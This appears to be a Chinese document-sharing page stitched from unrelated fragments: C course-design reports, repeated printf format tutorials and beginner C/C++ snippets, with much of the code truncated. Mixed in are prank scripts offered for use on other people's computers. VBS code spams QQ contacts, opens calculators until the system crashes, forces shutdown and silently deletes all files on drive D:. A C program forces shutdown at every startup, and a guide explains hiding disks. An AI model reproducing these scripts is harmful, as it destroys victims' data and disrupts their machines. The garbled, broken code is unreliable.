C程序代码大全 This manuscript was revised on November 28, 2020
< C语言课程设计 题目 XXXXXXX 二级学院电子与信息工程学院 班级 1X级XXXXX 专业X班 姓名 XXX 学号 XXX 指导教师梁建勇 2016年07月01日 通讯录管理系统 电子与信息工程学院C语言课程设计任务书 2014022061 刘言松 通讯录管理系统 刘言松安康学院 2014级电子与信息工程系电子信息工程2班 摘要：通讯录管理系统是生活中不可缺少的部分编写了一个通讯录管理系统是十分必要的。本程序设计具有通讯信息的输入，进行保存、查找、删除等功能，操作界面简洁美观，易于操作。程序用了条件、循环、结构体等知识点。可运用于小的管理软件。软件运用菜单实现交互式管理，用户轻松的按键既可实现对软件的操作，操作简单易懂，功能丰富，可以很好的满足的需要。通过对通讯录管理系统的设计，进一步理解和掌握C语言这门课程的知识点，能够熟练的调用各种函数，把各种C语句有机的结合起来，提高自己C语言程序设计的能力，为今后解决实际问题打下良好基础。 关键词：通讯录管理系统；结构体；条件语句；循环结构；指针 1引言 学习了C语言程序设计这门课程之后，使我对程序设计有了一定的了解，为了熟练掌握C 语言的语法特点、及其数据结构，提高自身编写程序的能力。通过课程设计实现理论知识与实际情况的结合，使所学知识能够在现实社会中起到一定的作用，防止所编写的程序脱离实际，让程序可以更好的发挥作用，以便减轻实际工作中所遇到的繁琐步骤，提高现实工作中的效率。此外通过课程设计提高逻辑思考能力和解决实际问题的能力。程序设计中，语句的语法和常量变量的定义都有严格的要求，有时输了一个中文标点、打错了一个字母，编译就不通过，程序无法正常运行。因此，程序设计初学阶段，学生经常会犯这样的错误，可能要通过几次乃至十多次的反复修改、调试，才能成功，但这种现象会随着学习的深入而慢慢改观。这当中就有一个严谨治学、一丝不苟的科学精神的培养，又有一个不怕失败、百折不挠品格的锻炼。通讯录信息管理系统是生活中不可缺少的部分编写了一个通讯录信息管理系统是十分必要的。通过程序设计，达到理论与实际应用相结合，提高对信息管理系统的分析能力，能够根据实际应用，初步实现系统功能模块及算法的设计，通过编程基本实现信息管理系统。 2设计方案 2.1设计思路 建立一个函数，用来添加、显示、删除、查询、修改等信息，完成通讯录的功能。主函数可以调用五个子函数，分别完成添加记录、显示记录、删除记录、查询记录、修改记录、退出系统等功能。在主函数中可以以1、2、3、4、5、数字键分别可以执行某个功能模块 3程序设计与实施 3.1根据该流程图定义数据类型建立函数 typedef struct { char score; //编号 char name[10]; //姓名 char num[15]; //电话号码 C语言课程设计报告 班级：16 物联网 一、题目说明 （1）读取输入信息，能正确进行数字运算 （2）拥有记忆功能，可查询最近几次计算结果并继续进行数字运算。 二、基本功能实现 （1）能实现两个数之间的加减，乘，除，乘方，开方等运算。 （2）实现记忆功能，可保留近十位结果，可用#键查看。（3）*键作为清0键，清除当前屏幕上的值为0表示重新开三、设计流程（可以画流程图，可以直接写说明） 四、代码 #include fgets(str,40,stdin); //将从键盘的一整行标准输入保存在字符串str中 if(sscanf(str,"%lf", &a) == 1){ //将str以长浮点型的格式放入a中，如果返回值为1，说明输入的是数值， scanf("%c %lf", &opt, &b); //获取操作符的值和另外一个操作数的值 res = yunsuan(a,opt,b); //调用yunsuan（）函数计算，并将结果给res printf("%lf %c %lf = %lf\n\n",a, opt, b, res); PutRes(history, res, &i); //调用函数PutRes()将本次结果保存到数组history中（i用引用传递） // printf("%d\n", i); }else if(sscanf(str,"%c",&opt) == 1){ //将str以字符型的格式放入opt中，如果返回值为1，说明输入的是字符 if(opt == '#'){ //如果opt为‘#’，则显示history 中的数值 int j = 0; for(j = 0; j < i; ++j){ //i为history中存放的数值个数 printf(" %lf ", history[j]); } printf("\n"); c语言printf()输出格式大全 1．转换说明符 %a(%A) 浮点数、十六进制数字和p-(P-)记数法(C99) %c 字符 %d 有符号十进制整数 %f 浮点数(包括float和doulbe) %e(%E) 浮点数指数输出[e-(E-)记数法] %g(%G) 浮点数不显无意义的零"0" %i 有符号十进制整数(与%d相同) %u 无符号十进制整数 %o 八进制整数 e.g. 0123 %x(%X) 十六进制整数() e.g. 0x1234 %p 指针 %s 字符串 %% "%" 2．标志 左对齐："-" e.g. "%-20s" 右对齐："+" e.g. "%+20s" 空格：若符号为正，则显示空格，负则显示"-" e.g. "% " #：对c,s,d,u类无影响；对o类，在输出时加前缀o；对x类，在输出时加前缀0x； 对e,g,f 类当结果有小数时才给出小数点。 3．格式字符串（格式） ［标志］［输出最少宽度］［．精度］［长度］类型 "％-md" ：左对齐，若m比实际少时，按实际输出。 "%m.ns"：输出m位，取字符串(左起)n位，左补空格，当n>m or m省略时m=n e.g. "%7.2s" 输入CHINA 输出" CH" "%m.nf"：输出浮点数，m为宽度，n为小数点右边数位 e.g. "%" 输入3852.99 输出3853.0 长度：为ｈ短整形量,ｌ为长整形量 printf的格式控制的完整格式： % - .n l或h 格式字符 下面对组成格式说明的各项加以说明： ①%：表示格式说明的起始符号，不可缺少。 vbs整人代码大集合，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true 山西工程技术学院《C语言程序设计》 课程设计说明书 姓名张雅男 学号 150721035 班级 15级计应1班 指导老师刘红梅 2016年1月6日 目录 摘要------------------------------------------------------ 2 1 引言------------------------------------------------------ 3 1.1设计目的------------------------------------------------ 3 1.2设计要求------------------------------------------------ 3 2 系统分析------------------------------------------------- 4 2.1功能需求------------------------------------------------ 4 2.2数据需求------------------------------------------------ 5 2.3程序所需函数-------------------------------------------- 5 3 详细设计与实现-------------------------------------------- 6 3.1功能模块的设计与实现------------------------------------ 6 3.2 程序的详细设计过程-------------------------------------- 7 4 系统测试-------------------------------------------------- 14 4.1设计测试数据-------------------------------------------- 14 4.2 测试结果及分析------------------------------------------ 14 总结-------------------------------------------------------- 22 参考文献---------------------------------------------------- 23 2009-05-03 10:55 Turbo C2.0 标准库提供了两个控制台格式化输入、输出函数printf( ) 和scanf(), 这两个函数可以在标准输入输出设备上以各种不同的格式读写数据。 printf()函数用来向标准输出设备(屏幕)写数据; scanf() 函数用来从标 准输入设备(键盘)上读数据。下面详细介绍这两个函数的用法。 一、printf()函数 printf()函数是格式化输出函数, 一般用于向标准输出设备按规定格式输 出信息。在编写程序时经常会用到此函数。printf()函数的调用格式为: printf("<格式化字符串>", <参量表>); 其中格式化字符串包括两部分内容: 一部分是正常字符, 这些字符将按原 样输出; 另一部分是格式化规定字符, 以"%"开始, 后跟一个或几个规定字符, 用来确定输出内容格式。 参量表是需要输出的一系列参数, 其个数必须与格式化字符串所说明的输 出参数个数一样多, 各参数之间用","分开, 且顺序一一对应, 否则将会出现意 想不到的错误。 1. 格式化规定符 Turbo C2.0提供的格式化规定符如下: ━━━━━━━━━━━━━━━━━━━━━━━━━━ 符号作用 ────────────────────────── %d 十进制有符号整数 %u 十进制无符号整数 %f 浮点数 %s 字符串 %c 单个字符 %p 指针的值 %e 指数形式的浮点数 %x, %X 无符号以十六进制表示的整数 %0 无符号以八进制表示的整数 %g 自动选择合适的表示法 ━━━━━━━━━━━━━━━━━━━━━━━━━━ 说明: (1). 可以在"%"和字母之间插进数字表示最大场宽。 例如: %3d 表示输出3位整型数, 不够3位右对齐。 %9.2f 表示输出场宽为9的浮点数, 其中小数位为2, 整数位为6, 小数点占一位, 不够9位右对齐。 %8s 表示输出8个字符的字符串, 不够8个字符右对齐。 如果字符串的长度、或整型数位数超过说明的场宽, 将按其实际长度输出。但对浮点数, 若整数部分位数超过了说明的整数位宽度, 将按实际整数位输出; 若小数部分位数超过了说明的小数位宽度, 则按说明的宽度以四舍五入输出。 另外, 若想在输出值前加一些0, 就应在场宽项前加个0。 例如: %04d 表示在输出一个小于4位的数值时, 将在前面补0使其总宽 度为4位。 C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序，可以设置多长时间后将自动关机。当然马上关机也是可以的，我们就可以恶搞别人计算机了（你事先得知道怎么解），将写好的自动关机程序复制到别人电脑，然后将可执行的 文件设为开机自动启动，别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序（这是很容易的），后果你一定能想到了吧~还可以改进一下，就是每次开机的时候让用户输入“我是猪”，不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩，比如“我爱你”、“我爱×××”之类，你觉得会有严重后果的就不要玩哦、 好啦，就说到这里，下面送上这两个程序的源代码。一个是自动关机程序，很简单，另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1： #include { system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了，自己人不整自己人~ 源程序2： #include ------------------------------------------------------------------------摘自宋鲁生程序设计大赛 乘法口诀表 #include 用一维数组统计学生成绩 #include printf( )格式 printf()格式转换的一般形式如下 %(flags)(width)(.prec)type 以括号括起来的参数为选择性参数，而%与type则 是必要的。底下先介绍type的几种形式 %d 整数的参数会被转成一有符号的十进制数字 %u 整数的参数会被转成一无符号的十进制数字 %o 整数的参数会被转成一无符号的八进制数字 %x 整数的参数会被转成一无符号的十六进制数 字，并以小写abcdef表示 %X 整数的参数会被转成一无符号的十六进制数 字，并以大写ABCDEF表示浮点型数 %f double 型的参数会被转成十进制数字，并取到小 数点以下六位，四舍五入。 %e double型的参数以指数形式打印，有一个数字 会在小数点前，六位数字在小数点后，而在指数部 分会以小写的e来表示。 %E 与%e作用相同，唯一区别是指数部分将以大写 的E 来表示。 %g double 型的参数会自动选择以%f 或%e 的格式 来打印，其标准是根据欲打印的数值及所设置的有 效位数来决定。 %G 与%g 作用相同，唯一区别在以指数形态打印时 会选择%E 格式。 字符及字符串 %c 整型数的参数会被转成unsigned char型打印出。 %s 指向字符串的参数会被逐字输出，直到出现 NULL字符为止 %p 如果是参数是“void*”型指针则使用十六进制 格式显示。 prec 有几种情况 1. 正整数的最小位数。 2. 在浮点型数中代表小数位数 3. 在%g 格式代表有效位数的最大值。 4. 在%s格式代表字符串的最大长度。 5. 若为*符号则代表下个参数值为最大长度。 width为参数的最小长度，若此栏并非数值，而是* C语言课程设计报告 设计名称C语言课程设计 专业班级 姓名 学号 指引教师 实习时间 成绩 目录 一、设计目................................................................. 错误!未定义书签。 二、设计内容............................................................. 错误!未定义书签。 三、详细设计阐明..................................................... 错误!未定义书签。 四、软件使用阐明..................................................... 错误!未定义书签。 五、设计总结（课程设计心得与体会） ................ 错误!未定义书签。 六、附录1：参照文献 ............................................. 错误!未定义书签。 七、附录2：某些程序清单（带有较详细注释） . 错误!未定义书签。 八、教师评语............................................................. 错误!未定义书签。 一、设计目 通过课程设计实践环节教学，可以加深学生对课堂所学基本知识掌握与理解，提高学生对所学内容综合运用能力；同步也可以通过查询有关资料，培养学生自学能力、接受新知识能力，提高学习兴趣；增强学生程序设计能力，掌握编程技巧，并可培养学生事实上机调试程序能力。“理论与实践”相结合，使学生得到较好锻炼，为后来学习、工作打下坚实基本。每个学生需要独立完毕教师安排设计题目或由学生自拟实际设计题目，但自拟自拟题目须经指引教师批准方可生效。 C语言的printf输出格式控制 printf大家都耳熟能详，但是能真正将其用法弄透的估计很少见。 转一篇，改天整理。 1．转换说明符 %a(%A) 浮点数、十六进制数字和p-(P-)记数法(C99) %c 字符 %d 有符号十进制整数 %f 浮点数(包括float和doulbe) %e(%E) 浮点数指数输出[e-(E-)记数法] %g(%G) 浮点数不显无意义的零"0" %i 有符号十进制整数(与%d相同) %u 无符号十进制整数 %o 八进制整数 %x(%X) 十六进制整数0f(0F) e.g. 0x1234 %p 指针 %s 字符串 %% 输出字符% 2．标志 左对齐："-" 比如："%-20s" 右对齐："+" 比如："%+20s" 空格：若符号为正，则显示空格，负则显示"-" 比如："% 6.2f" #：对c,s,d,u类无影响；对o类，在输出时加前缀o；对x类，在输出时加前缀0x；对e,g,f 类当结果有小数时才给出小数点。 printf的格式控制的完整格式： % - 0 m.n l或h 格式字符 下面对组成格式说明的各项加以说明： ①%：表示格式说明的起始符号，不可缺少。 ②-：有-表示左对齐输出，如省略表示右对齐输出。 ③0：有0表示指定空位填0,如省略表示指定空位不填。 ④m.n：m指域宽，即对应的输出项在输出设备上所占的字符数。N指精度。用于说明输出的实型数的小数位数。未指定n时，隐含的精度为n=6位。 ⑤l或h:l对整型指long型，对实型指double型。h用于将整型的格式字符修正为short型。 格式字符 格式字符用以指定输出项的数据类型和输出格式。 竭诚为您提供优质文档/双击可除 愚人节整人网页代码 篇一：整人“病毒”代码(一) 发表于20XX-10-2310:33 前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。 ps：由于精力问题没有对代码的可用性进行一一验证，所以不保证全部可用，大家如果发现有不可用的或者需要改进的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。 一、怎么点都没反应的桌面 如果同事的电脑开着，他离开电脑前一会，嘿嘿，机会来了。 把他的电脑桌面按print键截屏截下来，（当然QQ截屏也可以，不过效果不太逼真！）建议大家用print截屏，设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里，这样桌面看上去和平时一个样。他回来后狂点鼠标，却怎么都没有反应！现在还在关机,开机,关机,开机,关机,开 机中???? 附带：print键截屏方法： 键盘右上方的“printscreensysRq”键的作用是屏幕抓图！ 用法一，按“printscreensysRq”一下，对当前屏幕进行抓图，就是整个显示屏的内容。 用法二，先按住“Alt”键，再按“printscreensysRq”键，则是对当前窗口进行抓图。如你打开“我的电脑”后，用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后，再打开“开始”、“附件”里的“画图”程序，点“编辑”、“粘贴”就把抓取的图片贴出来了，可以保存为自己需要的格式。哈哈，简单吧，这方法真挺搞的，有兴趣的童鞋可以试试！ 二、让电脑硬盘消失－隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了，钻进地缝里面去了吗，给外星人抓走了？？非也！是某些人使坏将其隐藏起来了！ 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中： C 经典程序代码大全 #include const float PI= 3.1416; //声明常量(只读变量)PI为 3.1416 float fCir_L(float); //声明自定义函数fCir_L()的原型 float fCir_S(float); //声明自定义函数fCir_S()的原型 //以下是main()函数 main() { float r,l,s; //声明3个变量 cout>r; //键盘输入 l=fCir_L(r); //计算圆的周长，赋值给变量l s=fCir_S(r); //计算圆的面积，赋值给变量s cout=0.0) //如果参数大于0，则计算圆的周长 z=2*PI*x; return(z); //返回函数值 } //定义计算圆的面积的函数fCir_S() float fCir_S(float x) { float z=- 1.0; //声明局部变量 if (x>=0.0) //如果参数大于0，则计算圆的面积 z=PI*x*x; return(z); //返回函数值 } /* Program: P1- 2.CPP Written by: Hap Date written: 02:11:10 */ #include void main(void) { double s1,s2,s3; s1= 1.5; /* 对变量s1赋值*/ cout main() { double r= 1.0; cout>r; //键盘输入 l=2* 3.1416*r; //计算圆的周长，赋值给变量l cout //包含iostream.h头文件 void main() { //输出字符常量.变量和字符串 char c1= A ; cout //包含iostream.h头文件 main() { //输入输出字符 char c; cin>>c; cout>n; cout>x; cout>n; cout>c>>n>>x; cout //包含iostream.h头文件 main() { //声明整型变量 int a,b; //从键盘上为整型变量赋值cout>a; cout>b; //整型数的算术运算 cout //包含iostream.h 头文件 main() { //声明变量，并初始化 int a=010,b=10,c=0X10; //以进制形式显示数据 cout>a; cout>b; cout>c; cout //包含iostream.h头文件 #include // iomanip.h头文件包含setprecision()的定义 main() { //float型变量的声明.输入.计算和输出 float fx,fy; cout>fx; cout>fy; cout>dx; cout>dy; cout //包含iostream.h 头文件 main() { //字符类型变量的声明 char c1= A ; char c2; //字符数据的运算及输出 c2=c1+32; cout>c1>>c2; cout //包含iostream.h头文件 main() { char c1= \a ,TAB= \t ; //阵铃一声 cout //包含iostream.h头文件 main() HUBEI UNIVERSITY OF AUTOMOTIVE TECHNOLOGY C语言程序设计 课程设计报告 课设题目：学生信息管理系统 专业：电气工程及其自动化 班级: 学生信息管理系统 姓名： 成绩： 完成日期: 2012年6月18日－2012年6月22日 指导教师: 目录 1.课程设计目的 (2) 2.需求分析 (2) 2.1要求 (2) 2.2任务描述 (2) 2.3运行环境 (3) 2.4开发工具 (3) 3.总体设计 (3) 3.1系统流设计 (3) 3.2系统模块设计 (4) 4.详细设计 (5) 4.1数据结构设计 (5) 4.2模块接口设计 (6) 4.3 以下是几个主要模块的流程图： (7) 5.运行结果 (10) 5.1主菜单界面： (10) 5.2信息录入界面： (10) 5.3信息浏览界面： (11) 5.4 信息查询界面： (11) 5.5信息修改界面： (12) 6.程序调试与测试 (12) 6.1程序调试 (12) 6.2程序测试 (12) 7.问题与不足 (12) 8.建议 (12) 9.编程体会 (12) 10.程序源代码： (12) 11.参考文献 (13) 12.用户使用手册 (13) 1.课程设计目的 1)通过课程设计，加深对结构化程序设计思想的理解，能对系统功能进行分析， 并设计合理的模块化结构。 2)通过课程设计，进一步掌握C语言中重要的数据结构。掌握并熟练运用指针、 链表、结构体、文件等数据结构。 3)通过课程设计，提高程序开发能力，能运用合理的控制流编写清晰高效的程序。 4)通过课程设计，培养C语言知识运用和自学能力，真正的把课堂上获得的知识 运用起来，培养自己对程序编写的兴趣，并能独立设计和实现一个小型系统。 5)通过课程设计，加强了自己的程序分析能力。 2.需求分析 2.1要求 1)遵循软件开发过程的基本规范；能灵活应用，初步具备运用C程序解决实际问 题的能力。 2)运用结构化程序设计方法，按照课程设计题目要求，完成包括需求分析、数据 结构设计、概要设计、详细设计、编写代码、调试和测试C程序等过程。 3)学会利用数组、结构体、链表进行相关信息表示。 4)功能模块划分清晰，系统结构图符合功能操作要求，且有详尽的功能描述 5)各主要功能模块有详尽的流程图及描述，用函数的形式实现，且调用入口、功 能、出口等关系正确。 6)所设计的C程序较好的可读性和可靠性；程序书写风格规范，注释清晰。 7)界面友好（良好的人机互交），凡需要输入信息时，都有较详尽的提示信息，并 对输入信息有较完善的值域分析。 8)程序经上机调试通过，不应出现语法型、功能型错误，并获得满意的结果。 9)学会通过各功能性测试用例测试程序的能力，尽可能避免原则性错误的出现。 10)掌握编写、调试和测试C语言程序的基本技巧，充分理解结构化程序设计的基 本方法。 11)C语言课程设计报告的内容反应实际设计过程，且符合格式要求，无抄袭现象。 2.2任务描述 （根据具体的题目来写这部分，不要照抄） printf()格式化输出详解 2009年03月28日星期六 13:39 本文来自：https://www.doczj.com/doc/a213545091.html,/language/20080420/7060.html printf的格式控制的完整格式： % - 0 m.n l或h 格式字符 下面对组成格式说明的各项加以说明： ①%：表示格式说明的起始符号，不可缺少。 ②-：有-表示左对齐输出，如省略表示右对齐输出。 ③0：有0表示指定空位填0,如省略表示指定空位不填。 ④m.n：m指域宽，即对应的输出项在输出设备上所占的字符数。N指精度。用于说明输出的实型数的小数位数。对数值型的来说，未指定n时，隐含的精度为n=6位。 ⑤l或h:l对整型指long型，对实型指double型。h用于将整型的格式字符修正为short型。 －－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ 格式字符 格式字符用以指定输出项的数据类型和输出格式。 ①d格式：用来输出十进制整数。有以下几种用法： %d：按整型数据的实际长度输出。 %md：m为指定的输出字段的宽度。如果数据的位数小于m，则左端补以空格，若大于m，则按实际位数输出。 %ld：输出长整型数据。 ②o格式：以无符号八进制形式输出整数。对长整型可以用"%lo"格式输出。同样也可以指定字段宽度用“%mo”格式输出。 例： main() { int a = -1; printf("%d, %o", a, a); } 运行结果：-1,177777 程序解析：-1在内存单元中（以补码形式存放）为(1111111111111111)2，转换为八进制数为(177777)8。 ③x格式：以无符号十六进制形式输出整数。对长整型可以用"%lx"格式输出。同样也可以指定字段宽度用"%mx"格式输出。 ④u格式：以无符号十进制形式输出整数。对长整型可以用"%lu"格式输出。同样也可以指定字段宽度用“%mu”格式输出。 ⑤c格式：输出一个字符。 ⑥s格式：用来输出一个串。有几中用法 %s：例如:printf("%s", "CHINA")输出"CHINA"字符串（不包括双引号）。 辽宁工业大学 C语言程序设计课程设计（论文）题目：通讯录 院（系）：软件学院 专业班级：汽电101班 学号： 101408018 学生姓名：罗广帅 指导教师：王彦华 教师职称：助教 起止时间：2010.12.20至2010.12.31 课程设计（报告）任务及评语 目录 第1章课程设计的目的与要求 (1) 1.1 课程设计目的 (1) 1.2 课程设计的实验环境 (1) 1.3 课程设计的预备知识 (1) 1.4 课程设计要求 (1) 第2章课程设计内容 (2) 2.1课程设计题目 (2) 2.2课程设计整体设计说明 (2) 2.2.1课程设计内容 (2) 2.2.2系统功能模块结构图........................... 错误！未定义书签。 2.2.3数据结构设计及用法说明 (2) 2.2.4程序结构（画流程图） (2) 2.2.5各模块的功能 (3) 2.3程序源代码及注释 (4) 第3章课程设计总结 (14) 参考资料 (15) 第1章课程设计的目的与要求 1.1 课程设计目的 本课程设计是计算机科学与技术专业重要的实践性环节之一，是在学生学习完《程序设计语言(C)》课程后进行的一次全面的综合练习。本课程设计的目的和任务： 1. 巩固和加深学生对C语言课程的基本知识的理解和掌握 2. 掌握C语言编程和程序调试的基本技能 3. 利用C语言进行基本的软件设计 4. 掌握书写程序设计说明文档的能力 5. 提高运用C语言解决实际问题的能力 1.2 课程设计的实验环境 硬件要求能运行Windows 2000/XP操作系统的微机系统。C语言程序设计及相应的开发环境。 1.3 课程设计的预备知识 熟悉C语言及C语言开发工具。 1.4 课程设计要求 1. 分析课程设计题目的要求 2. 写出详细设计说明 3. 编写程序代码，调试程序使其能正确运行 4. 设计完成的软件要便于操作和使用 5. 设计完成后提交课程设计报告 C语言Printf和Scan函数的使用方法 一printf()函数是格式化输出函数, 一般用于向标准输出设备按规定格式输出信息。在编写程序时经常会用到此函数。printf()函数的调用格式为: printf("<格式化字符串>", <参量表>); 其中格式化字符串包括两部分内容: 一部分是正常字符, 这些字符将按原样输出; 另一部分是格式化规定字符, 以"%"开始, 后跟一个或几个规定字符, 用来确定输出内容格式。 参量表是需要输出的一系列参数, 其个数必须与格式化字符串所说明的输出参数个数一样多, 各参数之间用","分开, 且顺序一一对应, 否则将会出现意想 不到的错误。 格式化字符串的格式是： %[标志][输出最小宽度][.精度][长度]格式字符 1. 标志：标志字符为-、+、#、空格四种，其意义下表所示： 标志意义 - 结果左对齐，右边填空格 + 输出符号(正号或负号) 空格输出值为正时冠以空格，为负时冠以负号 # 对c,s,d,u类无影响；对o类,在输出时加前缀o；对x类,在输出时加前缀0x；对e,g,f 类当结果有小数时才给出小数点(？？？？？？） 例1： #includeC语言课程设计参考模板
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